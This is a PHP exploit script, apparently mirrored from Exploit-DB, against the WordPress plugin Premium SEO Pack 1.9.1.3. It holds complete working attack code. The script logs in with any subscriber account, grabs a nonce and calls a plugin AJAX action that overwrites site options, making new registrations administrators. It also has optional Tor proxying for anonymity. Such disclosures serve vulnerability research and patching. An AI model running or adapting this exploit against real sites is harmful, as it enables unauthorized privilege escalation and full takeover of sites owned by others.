WordPress Plugin Premium SEO Pack 1.9.1.3 – wp_options Overwrite

  • 作者: wp0Day.com
    日期: 2016-06-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39978/
  • <?php
    /**
     * Exploit Title: Premium SEO Pack Exploit
     * Google Dork:
     * Exploit Author: wp0Day.com <contact@wp0day.com>
     * Vendor Homepage: http://aa-team.com/
     * Software Link: http://codecanyon.net/item/premium-seo-pack-wordpress-plugin/6109437?s_rank=2
     * Version: 1.9.1.3
     * Tested on: Debian 8, PHP 5.6.17-3
     * Type: Authenticated (customer, subscriber) wp_options overwrite
     * Time line: Found [05-Jun-2016], Vendor notified [05-Jun-2016], Vendor fixed: [???], [RD:1]
     */
    
    
    require_once('curl.php');
    //OR
    //include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
    $curl = new CurlWrapper();
    
    
    $options = getopt("t:m:u:p:a:",array('tor:'));
    echo "Current Options:\n";
    print_r($options);
    for($i=4;$i>0;$i--){
    echo "Starting in $i \r";
    sleep(1);
    }
    echo "Starting.... \r";
    echo "\n";
    
    $options = validateInput($options);
    
    if (!$options){
    showHelp();
    }
    
    if ($options['tor'] === true)
    {
    echo " ### USING TOR ###\n";
    echo "Setting TOR Proxy...\n";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address\n";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."\n";
    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
    die("Aborting!\n");
    }
    echo "OK...\n";
    }
    
    
    function logIn(){
    global $curl, $options;
    file_put_contents('cookies.txt',"\n");
    $curl->setCookieFile('cookies.txt');
    $curl->get($options['t']);
    $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
    $curl->post($options['t'].'/wp-login.php', $data);
    $status =$curl->getTransferInfo('http_code');
    if ($status !== 302){
    echo "Login probably failed, aborting...\n";
    echo "Login response saved to login.html.\n";
    die();
    }
    file_put_contents('login.html',$curl->getResponse());
    }
    
    function exploit(){
    global $curl, $options;
    if ($options['m'] == 'admin_on') {
    echo "Setting default role on registration to Administrator\n";
    /* Getting a nonce */
    $data = array('action'=>'pspLoadSection', 'section'=>'setup_backup');
    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    $resp = json_decode($resp,true);
    preg_match_all('~id="box_nonce" name="box_nonce" value="([a-f0-9]{10})"~', $resp['html'], $mat);
    if (!isset($mat[1])){
    die("Failed getting box_nonce\n");
    }
    $nonce = $mat[1][0];
    $new_settings = array('default_role'=>'administrator', 'users_can_register'=>1);
    $new_settings = urlencode(json_encode($new_settings));
    echo "Sending settings to update\n";
    $data = array('action'=>'pspInstallDefaultOptions', 'options'=>'box_id=psp_setup_box&box_nonce='.$nonce.'&install_box='.$new_settings);
    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    $resp = json_decode($resp,true);
    if (@$resp['status'] == 'ok'){
    echo "Admin mode is ON, go ahead an register yourself an Admin account! \n";
    } else {
    echo "Setting admin mode failed \n";
    }
    echo "Raw response: " . $curl->getResponse() . "\n";
    }
    if ($options['m'] == 'admin_off') {
    
    echo "Setting default role on registration to Subscriber\n";
    /* Getting a nonce */
    $data = array('action'=>'pspLoadSection', 'section'=>'setup_backup');
    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    $resp = json_decode($resp,true);
    preg_match_all('~id="box_nonce" name="box_nonce" value="([a-f0-9]{10})"~', $resp['html'], $mat);
    if (!isset($mat[1])){
    die("Failed getting box_nonce\n");
    }
    $nonce = $mat[1][0];
    $new_settings = array('default_role'=>'subscriber', 'users_can_register'=>0);
    $new_settings = urlencode(json_encode($new_settings));
    echo "Sending settings to update\n";
    $data = array('action'=>'pspInstallDefaultOptions', 'options'=>'box_id=psp_setup_box&box_nonce='.$nonce.'&install_box='.$new_settings);
    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    $resp = json_decode($resp,true);
    if (@$resp['status'] == 'ok'){
    echo "Admin mode is OFF \n";
    }
    echo "Raw response: " . $curl->getResponse() . "\n";
    }
    }
    
    
    logIn();
    exploit();
    
    
    
    function validateInput($options){
    
    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
    return false;
    }
    if ( !isset($options['u']) ){
    return false;
    }
    if ( !isset($options['p']) ){
    return false;
    }
    if (!preg_match('~/$~',$options['t'])){
    $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('admin_on','admin_off') ) ){
    return false;
    }
    if ($options['m'] == 'tag' && !isset($options['a'])){
    
    }
    $options['tor'] = isset($options['tor']);
    
    return $options;
    }
    
    
    function showHelp(){
    global $argv;
    $help = <<<EOD
    
    Premium SEO Pack Exploit
    
    Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]
    
     *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **
    
     [MODE] admin_on- Sets default role on registration to Administrator
    admin_off - Sets default role on registration to Subscriber
    
    Examples:
     php $argv[0] -t http://localhost/ --tor=yes -u customer1 -p password -m admin_on
     php $argv[0] -t http://localhost/ --tor=yes -u customer1 -p password -m admin_off
    
    Misc:
     CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
     @link http://github.com/svyatov/CurlWrapper
     @license http://www.opensource.org/licenses/mit-license.html MIT License
    
    EOD;
    echo $help."\n\n";
    die();
    }